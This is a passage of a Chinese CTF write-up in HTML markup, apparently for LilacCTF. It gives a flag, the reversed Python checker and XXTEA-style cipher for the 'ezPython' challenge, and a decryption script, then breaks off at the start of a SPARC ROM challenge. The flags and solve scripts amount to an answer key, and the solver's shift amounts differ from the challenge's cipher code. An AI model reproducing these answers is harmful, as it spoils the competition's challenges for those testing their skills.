data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Lilac{YOu_knOvv_h0w_tO_d3crypt_1t!!}</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">ezPython</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">基础的3.9python的pyc逆向，myalgo这个库直接反编译的会有问题，需要看python字节码修复</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">加密就是一个BTEA</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">main</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> crypto </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> sys </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> *</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> base64</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> myalgo</span><span leaf=""><br/></span><span leaf="">welcome_msg = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;V2VsYzBtMyBUbyBUaGUgV29ybGQgb2YgTDFsYWMgPDM=&#39;</span></span><span leaf=""><br/></span><span leaf="">input_msg = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;:i(G<a class="wx_topic_link" topic-id="mkwhn227-2puy3r" style="color: #576B95 !important;" data-topic="1">#8T</a>&amp;KiF&lt;F_)F`JToCggs;&#39;</span></span><span leaf=""><br/></span><span leaf="">right_msg = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;UmlnaHQsIGNvbmdyYXR1bGF0aW9ucyE=&#39;</span></span><span leaf=""><br/></span><span leaf="">wrong_msg = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;V3JvbmcgRmxhZyE=&#39;</span></span><span leaf=""><br/></span><span leaf="">print(b64decode(welcome_msg).decode())</span><span leaf=""><br/></span><span leaf="">flag = input(a85decode(input_msg).decode())</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> (flag.startswith(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LilacCTF{&#39;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> flag.endswith(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;}&#39;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> (len(flag) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">26</span></span><span leaf="">)):</span><span leaf=""><br/></span><span leaf="">    print(b64decode(wrong_msg).decode())</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    flag = flag[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">25</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    res = [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">761104570</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1033127419</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3729026053</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">795718415</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    key = struct.unpack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&lt;IIII&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;1111222233334444&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    input = list(struct.unpack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&lt;IIII&#39;</span></span><span leaf="">, flag.encode()))</span><span leaf=""><br/></span><span leaf="">    myalgo.btea(input, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, key)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> input[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] == res[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> input[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] == res[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> (input[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] == res[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">]) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> (input[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] == res[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">]):</span><span leaf=""><br/></span><span leaf="">        print(b64decode(right_msg).decode())</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(b64decode(wrong_msg).decode())</span></code></pre><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">myalgo</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">u32</span></span><span style="line-height: 26px;"><span leaf="">(x: int)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> x &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">MX</span></span><span style="line-height: 26px;"><span leaf="">(y: int, z: int, sum_: int, k, p: int, e: int)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (</span><span leaf=""><br/></span><span leaf="">        (((z &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">) ^ (y &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)) + ((y &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">) ^ (z &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)))</span><span leaf=""><br/></span><span leaf="">        ^ ((sum_ ^ y) + (k[(p &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">) ^ e] ^ z))</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">btea_encrypt</span></span><span style="line-height: 26px;"><span leaf="">(v: list, n: int, k)</span></span><span leaf=""> -&gt; bool:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> n &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf=""><br/></span><span leaf="">    DELTA = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1163219540</span></span><span leaf=""><br/></span><span leaf="">    y = v[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    z = v[n - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    sum_ = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    q = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf=""> + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">52</span></span><span leaf=""> // n</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> q &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        q -= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">        sum_ = u32(sum_ + DELTA)</span><span leaf=""><br/></span><span leaf="">        e = (sum_ &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> p </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(n - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            y = v[p + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">            v[p] = u32(v[p] + MX(y, z, sum_, k, p, e))</span><span leaf=""><br/></span><span leaf="">            z = v[p]</span><span leaf=""><br/></span><span leaf="">        y = v[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">        v[n - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] = u32(v[n - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] + MX(y, z, sum_, k, n - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, e))</span><span leaf=""><br/></span><span leaf="">        z = v[n - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">btea_decrypt</span></span><span style="line-height: 26px;"><span leaf="">(v: list, n: int, k)</span></span><span leaf=""> -&gt; bool:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> n &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf=""><br/></span><span leaf="">    DELTA = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1163219540</span></span><span leaf=""><br/></span><span leaf="">    q = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf=""> + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">52</span></span><span leaf=""> // n</span><span leaf=""><br/></span><span leaf="">    sum_ = u32(q * DELTA)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> sum_ != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        e = (sum_ &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># reverse order update</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> p </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(n - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            z = v[p - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">            y = v[p]</span><span leaf=""><br/></span><span leaf="">            v[p] = u32(v[p] - MX(y, z, sum_, k, p, e))</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># p = 0</span></span><span leaf=""><br/></span><span leaf="">        z = v[n - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">        y = v[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">        v[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = u32(v[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] - MX(y, z, sum_, k, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, e))</span><span leaf=""><br/></span><span leaf="">        sum_ = u32(sum_ - DELTA)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">btea</span></span><span style="line-height: 26px;"><span leaf="">(v: list, n: int, k)</span></span><span leaf=""> -&gt; bool:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> btea_encrypt(v, n, k)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">exp</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span leaf="">DELTA = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x45555254</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 1163219540</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">u32</span></span><span style="line-height: 26px;"><span leaf="">(x)</span></span><span leaf="">:</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> x &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">MX</span></span><span style="line-height: 26px;"><span leaf="">(y, z, sum_, k, p, e)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (((z &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">) ^ (y &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)) + ((y &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">) ^ (z &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">))) ^ (</span><span leaf=""><br/></span><span leaf="">        (sum_ ^ y) + (k[(p &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">) ^ e] ^ z)</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">btea_decrypt</span></span><span style="line-height: 26px;"><span leaf="">(v, n, k)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># n 为块长度，这里是 4</span></span><span leaf=""><br/></span><span leaf="">    q = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf=""> + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">52</span></span><span leaf=""> // n</span><span leaf=""><br/></span><span leaf="">    sum_ = u32(q * DELTA)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> sum_ != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        e = (sum_ &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf=""><br/></span><span leaf="">        y = v[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> p </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(n - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            z = v[p - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">            v[p] = u32(v[p] - MX(y, z, sum_, k, p, e))</span><span leaf=""><br/></span><span leaf="">            y = v[p]</span><span leaf=""><br/></span><span leaf="">        z = v[n - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">        v[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = u32(v[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] - MX(y, z, sum_, k, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, e))</span><span leaf=""><br/></span><span leaf="">        sum_ = u32(sum_ - DELTA)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    res = [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">761104570</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1033127419</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3729026053</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">795718415</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    key = struct.unpack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&lt;IIII&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;1111222233334444&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    v = res[:]  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># copy</span></span><span leaf=""><br/></span><span leaf="">    btea_decrypt(v, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, key)</span><span leaf=""><br/></span><span leaf="">    mid = struct.pack(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&lt;IIII&#34;</span></span><span leaf="">, *v).decode()</span><span leaf=""><br/></span><span leaf="">    flag = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;LilacCTF{{</span><span leaf="">{mid}</span><span leaf="">}}&#34;</span></span><span leaf=""><br/></span><span leaf="">    print(flag)</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">JustROM</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">SPARC </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Big-endian</span></strong><span leaf=""> 32-bit</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">ROM base：0x10800000 size: 0x10000</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">RAM base: 0x107F0000 size: 0x14000</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 